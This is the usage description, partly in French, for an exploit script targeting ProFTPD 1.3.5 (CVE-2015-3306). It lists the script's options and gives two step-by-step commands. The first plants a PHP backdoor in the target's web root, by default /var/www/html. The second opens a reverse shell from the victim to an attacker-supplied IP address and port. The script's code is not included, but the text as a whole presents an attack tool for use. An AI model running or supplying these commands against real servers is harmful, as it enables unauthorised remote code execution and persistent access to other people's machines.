
Exploit pour ProFTPD 1.3.5 CVE-2015-3306 qui écrit une backdoor PHP dans la racine web cible et lance un shell inversé pour l'exécution de code à distance.
ProFTPd 1.3.5 RCE
Usage: ProFTPD.py [options]
Options:
-h, --help show this help message and exit
-l LHOST, --lhost=LHOST
Local IP Required for Reverse Shell,
-p LPORT, --lport=LPORT
Port Required for Reverse Shell,
-t TARGET, --target=TARGET
Vulnerable Target,
-d DIRECTORY, --dir=DIRECTORY
WebRoot directory to Upload Backdoor, Default: /var/www/html
-c COMMAND, --command=COMMAND
System Command,
-f FILE, --file=FILE
Backdoor Name, Default: shell.php.
ÉTAPE 1 - Écrire la backdoor sur la machine cible !
Usage: python3 exploit.py -t 10.x.x.x -f cmd.php -d '/var/www/html'
ÉTAPE 2 - Obtenir un shell !!
Usage: python3 exploit.py -t 10.x.x.x --lhost 172.x.x.x --lport 4242